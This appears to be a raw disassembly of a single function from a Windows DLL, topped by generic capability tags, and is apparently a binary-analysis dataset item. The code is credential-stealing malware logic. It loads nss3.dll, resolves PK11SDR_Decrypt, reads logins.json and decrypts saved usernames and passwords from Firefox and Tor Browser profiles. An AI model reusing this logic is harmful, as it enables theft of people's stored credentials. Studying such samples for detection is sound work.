Function at 0x18009b870
Capabilities:
Check if file exists
Get file attributes
Link many functions at runtime
Set current directory

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4a8]
sub rsp, 0x5a8
mov rax, qword [0x180128010]
xor rax, rsp
mov qword [rbp + 0x478], rax
mov qword [rsp + 0x58], rcx
xor esi, esi
xor r13d, r13d
mov dword [rbp + 0x28], esi
mov r12d, 0xf
mov qword [rbp + 0x300], r13
lea rcx, [rbp + 0x2b0]
mov qword [rbp + 0x308], r12
mov byte [rbp + 0x2f0], sil
mov r14, r9
mov r15, r8
mov qword [rsp + 0x30], r8
mov qword [rsp + 0x60], rdx
call fcn.1800bfad0
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 0x10
jb 0x18009b8f1
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.nss3.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdx, qword [rbx + 0x18]
mov rdi, rax
cmp rdx, 0x10
jb 0x18009b941
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x18009b93c
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009d2c2
mov rcx, r8
call fcn.1800cd020
xor ecx, ecx
mov qword [rbx + 0x18], r12
mov qword [rbx + 0x10], rcx
mov byte [rbx], cl
test rdi, rdi
jne 0x18009ba50
mov rbx, qword [rsp + 0x58]
lea rdx, [0x18010c0b0]
xor r8d, r8d
mov byte [rbx], cl
mov rcx, rbx
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], r12
call fcn.1800c0190
mov rdi, qword [rsp + 0x60]
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x18009b9b6
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x18009b9b1
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009d2c8
mov rcx, r8
call fcn.1800cd020
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], r12
mov byte [rdi], sil
mov rdx, qword [r15 + 0x18]
cmp rdx, 0x10
jb 0x18009b9fb
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x18009b9f6
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009d2c8
mov rcx, r8
call fcn.1800cd020
mov qword [r15 + 0x10], rsi
mov byte [r15], sil
mov qword [r15 + 0x18], r12
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x18009ba40
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x18009ba3b
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009d2c8
mov rcx, r8
call fcn.1800cd020
mov qword [r14 + 0x10], rsi
mov byte [r14], sil
mov qword [r14 + 0x18], r12
jmp 0x18009d296
lea rdx, str.NSS_Init
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PL_Base64Decode
mov rcx, rdi
mov qword [0x18012d9a0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11SDR_Decrypt
mov rcx, rdi
mov qword [0x18012d9b8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_Authenticate
mov rcx, rdi
mov qword [0x18012d9e0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_GetInternalKeySlot
mov rcx, rdi
mov qword [0x18012da08], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_FreeSlot
mov rcx, rdi
mov qword [0x18012da88], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NSS_Shutdown
mov rcx, rdi
mov qword [0x18012d9e8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [r15 + 0x18], 0x10
mov rcx, r15
mov qword [0x18012d9a8], rax
jb 0x18009bafe
mov rcx, qword [r15]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor edi, edi
cmp eax, 0xffffffff
je 0x18009bbac
test al, 0x10
je 0x18009bbac
mov r8, qword [r15 + 0x10]
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], r12
mov byte [rsp + 0x38], sil
lea rdx, [r8 + 0xc]
cmp rdx, r12
jbe 0x18009bb46
lea rcx, [rsp + 0x38]
call fcn.1800c6590
mov r8, qword [r15 + 0x10]
mov qword [rsp + 0x48], rdi
cmp qword [r15 + 0x18], 0x10
mov rdx, r15
jb 0x18009bb53
mov rdx, qword [r15]
lea rcx, [rsp + 0x38]
call fcn.1800bf920
mov r8d, 0xc
lea rdx, str.logins.json
lea rcx, [rsp + 0x38]
call fcn.1800bf920
cmp qword [rsp + 0x50], 0x10
lea rcx, [rsp + 0x38]
lea rdx, [0x180116c50]
cmovae rcx, qword [rsp + 0x38]
call fcn.1800d8f38
test rax, rax
je 0x18009bba7
mov rcx, rax
call fcn.1800d8fc8
mov bl, 1
mov esi, 1
jmp 0x18009bbae
mov esi, 1
xor bl, bl
test sil, 1
je 0x18009bc00
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x18009bbf1
mov rcx, qword [rsp + 0x38]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009bbec
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d2ce
call fcn.1800cd020
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], r12
mov byte [rsp + 0x38], r13b
movaps xmmword [rsp + 0x590], xmm6
movaps xmmword [rsp + 0x580], xmm7
test bl, bl
je 0x18009d252
cmp qword [r15 + 0x18], 0x10
mov rcx, r15
jb 0x18009bc25
mov rcx, qword [r15]
call qword [0x18012d9a0]
mov rdx, r15
lea rcx, [rbp + 0x2d0]
call fcn.1800bfad0
mov rcx, rax
call fcn.180090a30
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x320], rdi
mov qword [rbp + 0x328], r12
mov byte [rbp + 0x310], r13b
nop
inc r8
cmp byte [rax + r8], r13b
jne 0x18009bc60
mov rdx, rax
lea rcx, [rbp + 0x310]
call fcn.1800c0190
cmp qword [rbp + 0x320], r13
jbe 0x18009d215
xorps xmm0, xmm0
lea rdx, str._hostname_:_______
xor eax, eax
lea rcx, [rbp + 0x450]
movups xmmword [rbp + 0x450], xmm0
mov qword [rbp + 0x470], rax
movups xmmword [rbp + 0x460], xmm0
call fcn.1800bec70
xorps xmm0, xmm0
lea rdx, str._encryptedUsername_:_______
xor eax, eax
lea rcx, [rbp + 0x428]
movups xmmword [rbp + 0x428], xmm0
mov qword [rbp + 0x448], rax
movups xmmword [rbp + 0x438], xmm0
call fcn.1800bec70
xorps xmm0, xmm0
lea rdx, str._encryptedPassword_:_______
xor eax, eax
lea rcx, [rbp + 0x400]
movups xmmword [rbp + 0x400], xmm0
mov qword [rbp + 0x420], rax
movups xmmword [rbp + 0x410], xmm0
call fcn.1800bec70
mov rdx, qword [rbp + 0x328]
lea rbx, [rbp + 0x310]
mov rax, qword [rbp + 0x310]
xorps xmm0, xmm0
cmp rdx, 0x10
mov qword [rbp + 0x348], r12
movups xmmword [rbp + 0x390], xmm0
cmovae rbx, rax
mov qword [rbp + 0x388], r12
xor ecx, ecx
mov qword [rbp + 0x368], r12
mov qword [rbp + 0x340], rcx
mov r15, r12
mov byte [rbp + 0x330], cl
mov rsi, r12
mov qword [rbp + 0x380], rcx
mov rdi, r12
mov byte [rbp + 0x370], cl
mov qword [rbp + 0x360], rcx
mov byte [rbp + 0x350], cl
movups xmmword [rbp + 0x3a0], xmm0
movups xmmword [rbp + 0x3b0], xmm0
movups xmmword [rbp + 0x3c0], xmm0
movups xmmword [rbp + 0x3d0], xmm0
movups xmmword [rbp + 0x3e0], xmm0
movups xmmword [rbp + 0x3f0], xmm0
nop dword [rax]
nop dword [rax + rax]
cmp rdx, 0x10
mov qword [rsp + 0x28], rbx
mov rdx, qword [rbp + 0x320]
lea rcx, [rbp + 0x310]
cmovae rcx, rax
lea r9, [rbp + 0x450]
add rdx, rcx
lea r8, [rbp + 0x390]
mov rcx, rbx
call fcn.1800c5a00
test al, al
je 0x18009cf92
mov rcx, qword [rbp + 0x3a8]
movabs rsi, 0x2aaaaaaaaaaaaaab
mov r8, qword [rbp + 0x3a0]
mov rax, rsi
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x3e8]
cmp rdx, 1
jbe 0x18009be2c
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], 0
je 0x18009be3b
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x30], xmm0
jmp 0x18009be43
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x30], xmm0
mov rdx, qword [rbp + 0x30]
xor r15d, r15d
mov r8, qword [rbp + 0x38]
mov eax, 0xf
mov qword [rbp - 8], r15
mov qword [rbp], rax
mov byte [rbp - 0x18], r15b
cmp rdx, r8
je 0x18009be74
sub r8, rdx
lea rcx, [rbp - 0x18]
call fcn.1800c0190
mov rax, qword [rbp]
cmp rax, 0x10
lea rcx, [rbp - 0x18]
cmovae rcx, qword [rbp - 0x18]
call fcn.1800913c0
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rax + r8], r15b
jne 0x18009be90
mov rdx, rax
lea rcx, [rbp + 0x330]
call fcn.1800c0190
mov rdx, qword [rbp]
cmp rdx, 0x10
jb 0x18009bee3
mov rcx, qword [rbp - 0x18]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009bede
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d2d4
call fcn.1800cd020
cmp qword [rbp + 0x328], 0x10
lea rdx, [rbp + 0x310]
lea r9, [rbp + 0x428]
mov qword [rsp + 0x28], rbx
cmovae rdx, qword [rbp + 0x310]
lea r8, [rbp + 0x390]
add rdx, qword [rbp + 0x320]
mov rcx, rbx
call fcn.1800c5a00
mov rcx, qword [rbp + 0x3a8]
mov rax, rsi
mov r8, qword [rbp + 0x3a0]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x3e8]
cmp rdx, 1
jbe 0x18009bf52
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], r15b
je 0x18009bf61
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x40], xmm0
jmp 0x18009bf69
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x40], xmm0
mov rdx, qword [rbp + 0x40]
mov r8, qword [rbp + 0x48]
mov qword [rbp + 0x200], r15
mov qword [rbp + 0x208], 0xf
mov byte [rbp + 0x1f0], r15b
cmp rdx, r8
je 0x18009bf9e
sub r8, rdx
lea rcx, [rbp + 0x1f0]
call fcn.1800c0190
lea rcx, [rbp + 0x1f0]
call fcn.18009b6a0
mov rcx, rax
call fcn.1800913c0
mov r8, rdi
inc r8
cmp byte [rax + r8], r15b
jne 0x18009bfb5
mov rdx, rax
lea rcx, [rbp + 0x370]
call fcn.1800c0190
cmp qword [rbp + 0x328], 0x10
lea rdx, [rbp + 0x310]
lea r9, [rbp + 0x400]
mov qword [rsp + 0x28], rbx
cmovae rdx, qword [rbp + 0x310]
lea r8, [rbp + 0x390]
add rdx, qword [rbp + 0x320]
mov rcx, rbx
call fcn.1800c5a00
mov rcx, qword [rbp + 0x3a8]
mov rax, rsi
mov r8, qword [rbp + 0x3a0]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x3e8]
cmp rdx, 1
jbe 0x18009c03c
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], r15b
je 0x18009c04b
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x50], xmm0
jmp 0x18009c053
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x50], xmm0
mov rdx, qword [rbp + 0x50]
mov r8, qword [rbp + 0x58]
mov qword [rbp + 0x220], r15
mov qword [rbp + 0x228], 0xf
mov byte [rbp + 0x210], r15b
cmp rdx, r8
je 0x18009c088
sub r8, rdx
lea rcx, [rbp + 0x210]
call fcn.1800c0190
lea rcx, [rbp + 0x210]
call fcn.18009b6a0
mov rcx, rax
call fcn.1800913c0
mov r8, rdi
nop
inc r8
cmp byte [rax + r8], r15b
jne 0x18009c0a0
mov rdx, rax
lea rcx, [rbp + 0x350]
call fcn.1800c0190
mov r8d, 8
mov qword [rbp + 0x120], r15
cmp qword [rbp + 0x340], r8
lea rdx, [rbp + 0x330]
lea rcx, [rbp + 0x110]
mov qword [rbp + 0x128], 0xf
cmovb r8, qword [rbp + 0x340]
cmp qword [rbp + 0x348], 0x10
mov byte [rbp + 0x110], r15b
cmovae rdx, qword [rbp + 0x330]
call fcn.1800c0190
mov rdx, qword [rbp + 0x128]
lea rax, [rbp + 0x110]
mov rcx, qword [rbp + 0x110]
cmp rdx, 0x10
cmovae rax, rcx
cmp qword [rbp + 0x120], 8
jne 0x18009c144
movabs r8, 0x2f2f3a687475616f
cmp qword [rax], r8
jne 0x18009c144
xor dil, dil
jmp 0x18009c147
mov dil, 1
cmp rdx, 0x10
jb 0x18009c17a
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c175
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d2f8
call fcn.1800cd020
test dil, dil
je 0x18009cf00
mov rax, qword [r14 + 0x18]
mov rcx, r14
cmp rax, 0x10
jb 0x18009c193
mov rcx, qword [r14]
cmp qword [r14 + 0x10], 1
jne 0x18009c851
cmp byte [rcx], 0x30
jne 0x18009c851
mov rsi, qword [rbp + 0x340]
mov rcx, rax
mov rdi, qword [rbp + 0x380]
test rsi, rsi
je 0x18009c862
test rdi, rdi
je 0x18009c862
cmp qword [rbp + 0x360], r15
je 0x18009c862
lea rdx, [r13 + 1]
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x60], 0xf
mov byte [rbp - 0x78], r15b
cmp rdx, 0x10
jb 0x18009c1fe
lea rcx, [rbp - 0x78]
call fcn.1800c6590
mov qword [rbp - 0x68], r15
cmp r12, 0x10
lea rdx, [rbp + 0x2f0]
mov r8, r13
lea rcx, [rbp - 0x78]
cmovae rdx, qword [rbp + 0x2f0]
call fcn.1800bf920
mov r8d, 1
lea rdx, [0x180116ca8]
lea rcx, [rbp - 0x78]
call fcn.1800bf920
cmp qword [rbp + 0x348], 0x10
lea rdx, [rbp + 0x330]
mov r8, rsi
lea rcx, [rbp - 0x78]
cmovae rdx, qword [rbp + 0x330]
call fcn.1800bf920
mov r8d, 1
lea rdx, [0x180116ca4]
lea rcx, [rbp + 0x130]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x130], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x140], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800bf920
mov rdx, qword [rbp + 0x308]
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
movups xmmword [rbp + 0x230], xmm6
movups xmmword [rbp + 0x240], xmm7
cmp rdx, 0x10
jb 0x18009c2f8
mov rcx, qword [rbp + 0x2f0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c2f3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d2da
call fcn.1800cd020
mov rdx, qword [rbp + 0x148]
movups xmmword [rbp + 0x2f0], xmm6
movups xmmword [rbp + 0x300], xmm7
cmp rdx, 0x10
jb 0x18009c347
mov rcx, qword [rbp + 0x130]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c342
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d2da
call fcn.1800cd020
mov rdx, qword [rbp - 0x60]
mov qword [rbp + 0x140], r15
mov qword [rbp + 0x148], 0xf
mov byte [rbp + 0x130], r15b
cmp rdx, 0x10
jb 0x18009c39b
mov rcx, qword [rbp - 0x78]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c396
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d2da
call fcn.1800cd020
mov rsi, qword [rbp + 0x240]
mov qword [rbp - 0x48], r15
mov qword [rbp - 0x40], 0xf
mov byte [rbp - 0x58], r15b
lea rdx, [rsi + 1]
cmp rdx, 0x10
jb 0x18009c3c9
lea rcx, [rbp - 0x58]
call fcn.1800c6590
mov qword [rbp - 0x48], r15
cmp qword [rbp + 0x248], 0x10
lea rdx, [rbp + 0x2f0]
mov r8, rsi
lea rcx, [rbp - 0x58]
cmovae rdx, qword [rbp + 0x230]
call fcn.1800bf920
mov r8d, 1
lea rdx, [0x180116ca8]
lea rcx, [rbp - 0x58]
call fcn.1800bf920
cmp qword [rbp + 0x388], 0x10
lea rdx, [rbp + 0x370]
mov r8, rdi
lea rcx, [rbp - 0x58]
cmovae rdx, qword [rbp + 0x370]
call fcn.1800bf920
mov r8d, 1
lea rdx, [0x180116ca4]
lea rcx, [rbp + 0x150]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x150], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x160], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800bf920
mov rdx, qword [rbp + 0x308]
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
movups xmmword [rbp + 0x250], xmm6
movups xmmword [rbp + 0x260], xmm7
cmp rdx, 0x10
jb 0x18009c4c7
mov rcx, qword [rbp + 0x2f0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c4c2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d2e0
call fcn.1800cd020
mov rdx, qword [rbp + 0x168]
movups xmmword [rbp + 0x2f0], xmm6
movups xmmword [rbp + 0x300], xmm7
cmp rdx, 0x10
jb 0x18009c516
mov rcx, qword [rbp + 0x150]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c511
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d2e0
call fcn.1800cd020
mov rdx, qword [rbp - 0x40]
mov qword [rbp + 0x160], r15
mov qword [rbp + 0x168], 0xf
mov byte [rbp + 0x150], r15b
cmp rdx, 0x10
jb 0x18009c56a
mov rcx, qword [rbp - 0x58]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c565
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d2e0
call fcn.1800cd020
mov rdi, qword [rbp + 0x260]
mov qword [rbp - 0x28], r15
mov qword [rbp - 0x20], 0xf
mov byte [rbp - 0x38], r15b
lea rdx, [rdi + 1]
cmp rdx, 0x10
jb 0x18009c598
lea rcx, [rbp - 0x38]
call fcn.1800c6590
mov qword [rbp - 0x28], r15
cmp qword [rbp + 0x268], 0x10
lea rdx, [rbp + 0x2f0]
mov r8, rdi
lea rcx, [rbp - 0x38]
cmovae rdx, qword [rbp + 0x250]
call fcn.1800bf920
mov r8d, 1
lea rdx, [0x180116ca8]
lea rcx, [rbp - 0x38]
call fcn.1800bf920
cmp qword [rbp + 0x368], 0x10
lea rdx, [rbp + 0x350]
mov r8, qword [rbp + 0x360]
lea rcx, [rbp - 0x38]
cmovae rdx, qword [rbp + 0x350]
call fcn.1800bf920
mov r8d, 1
lea rdx, [0x180116ca4]
lea rcx, [rbp + 0x170]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x170], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x180], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800bf920
mov rdx, qword [rbp + 0x308]
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
movups xmmword [rbp + 0x270], xmm6
movups xmmword [rbp + 0x280], xmm7
cmp rdx, 0x10
jb 0x18009c69a
mov rcx, qword [rbp + 0x2f0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c695
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d2e6
call fcn.1800cd020
mov rdx, qword [rbp + 0x188]
movups xmmword [rbp + 0x2f0], xmm6
movups xmmword [rbp + 0x300], xmm7
cmp rdx, 0x10
jb 0x18009c6e9
mov rcx, qword [rbp + 0x170]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c6e4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d2e6
call fcn.1800cd020
mov rdx, qword [rbp - 0x20]
mov qword [rbp + 0x180], r15
mov qword [rbp + 0x188], 0xf
mov byte [rbp + 0x170], r15b
cmp rdx, 0x10
jb 0x18009c73d
mov rcx, qword [rbp - 0x38]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c738
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d2e6
call fcn.1800cd020
mov rdi, qword [rbp + 0x280]
mov qword [rbp + 0x18], r15
mov qword [rbp + 0x20], 0xf
mov byte [rbp + 8], r15b
lea rdx, [rdi + 1]
cmp rdx, 0x10
jb 0x18009c76b
lea rcx, [rbp + 8]
call fcn.1800c6590
mov qword [rbp + 0x18], r15
cmp qword [rbp + 0x288], 0x10
lea rdx, [rbp + 0x2f0]
mov r8, rdi
lea rcx, [rbp + 8]
cmovae rdx, qword [rbp + 0x270]
call fcn.1800bf920
mov r8d, 1
lea rdx, [0x18010d0cc]
lea rcx, [rbp + 8]
call fcn.1800bf920
mov rdx, qword [rbp + 0x308]
cmp rdx, 0x10
jb 0x18009c7e5
mov rcx, qword [rbp + 0x2f0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c7e0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d2ec
call fcn.1800cd020
movups xmm0, xmmword [rbp + 8]
xor r8d, r8d
lea rdx, [0x18010c0b0]
movups xmm1, xmmword [rbp + 0x18]
lea rcx, [rbp + 0x330]
movups xmmword [rbp + 0x2f0], xmm0
movups xmmword [rbp + 0x300], xmm1
call fcn.1800c0190
xor r8d, r8d
lea rdx, [0x18010c0b0]
lea rcx, [rbp + 0x370]
call fcn.1800c0190
xor r8d, r8d
lea rdx, [0x18010c0b0]
lea rcx, [rbp + 0x350]
call fcn.1800c0190
mov rcx, qword [r14 + 0x18]
mov r12, qword [rbp + 0x308]
mov r13, qword [rbp + 0x300]
jmp 0x18009c854
mov rcx, rax
mov rdi, qword [rbp + 0x380]
mov rsi, qword [rbp + 0x340]
mov rax, r14
cmp rcx, 0x10
jb 0x18009c86e
mov rax, qword [r14]
cmp qword [r14 + 0x10], 1
jne 0x18009cef0
cmp byte [rax], 0x31
jne 0x18009cef0
test rsi, rsi
je 0x18009cef0
test rdi, rdi
je 0x18009cef0
cmp qword [rbp + 0x360], r15
je 0x18009cef0
lea rdx, [r13 + 3]
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], r15b
cmp rdx, 0x10
jb 0x18009c8cc
lea rcx, [rsp + 0x68]
call fcn.1800c6590
mov qword [rsp + 0x78], r15
cmp r12, 0x10
lea rdx, [rbp + 0x2f0]
mov r8, r13
lea rcx, [rsp + 0x68]
cmovae rdx, qword [rbp + 0x2f0]
call fcn.1800bf920
mov r8d, 3
lea rdx, [0x180116cb4]
lea rcx, [rsp + 0x68]
call fcn.1800bf920
mov r8d, 1
lea rdx, [0x180116cb0]
lea rcx, [rsp + 0x68]
call fcn.1800bf920
mov r8d, 0xa
lea rdx, str.TorBrowser
lea rcx, [rbp + 0xf0]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x100], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800bf920
mov r8d, 1
lea rdx, [0x180116cb0]
lea rcx, [rbp + 0xd0]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xe0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800bf920
cmp qword [rbp + 0x348], 0x10
lea rdx, [rbp + 0x330]
mov r8, rsi
lea rcx, [rbp + 0xb0]
cmovae rdx, qword [rbp + 0x330]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xc0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800bf920
mov r8d, 1
lea rdx, [0x180116cb0]
lea rcx, [rbp + 0x90]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x90], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xa0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800bf920
cmp qword [rbp + 0x388], 0x10
lea rdx, [rbp + 0x370]
mov r8, rdi
lea rcx, [rbp + 0x70]
cmovae rdx, qword [rbp + 0x370]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x80], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800bf920
mov r8d, 1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1d0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1e0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
lea rdx, [0x180116cb0]
lea rcx, [rbp + 0x1d0]
call fcn.1800bf920
cmp qword [rbp + 0x368], 0x10
lea rdx, [rbp + 0x350]
mov r8, qword [rbp + 0x360]
lea rcx, [rbp + 0x1b0]
cmovae rdx, qword [rbp + 0x350]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1b0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1c0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800bf920
mov r8d, 3
lea rdx, [0x180116cac]
lea rcx, [rbp + 0x190]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x190], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1a0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800bf920
mov rdx, qword [rbp + 0x308]
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
movups xmmword [rbp + 0x290], xmm6
movups xmmword [rbp + 0x2a0], xmm7
cmp rdx, 0x10
jb 0x18009cb8c
mov rcx, qword [rbp + 0x2f0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009cb87
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d2f2
call fcn.1800cd020
mov rdx, qword [rbp + 0x1a8]
movups xmmword [rbp + 0x2f0], xmm6
movups xmmword [rbp + 0x300], xmm7
cmp rdx, 0x10
jb 0x18009cbdb
mov rcx, qword [rbp + 0x190]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009cbd6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d2f2
call fcn.1800cd020
mov rdx, qword [rbp + 0x1c8]
mov qword [rbp + 0x1a0], r15
mov qword [rbp + 0x1a8], 0xf
mov byte [rbp + 0x190], r15b
cmp rdx, 0x10
jb 0x18009cc35
mov rcx, qword [rbp + 0x1b0]
inc rdx
mov rax, rcx
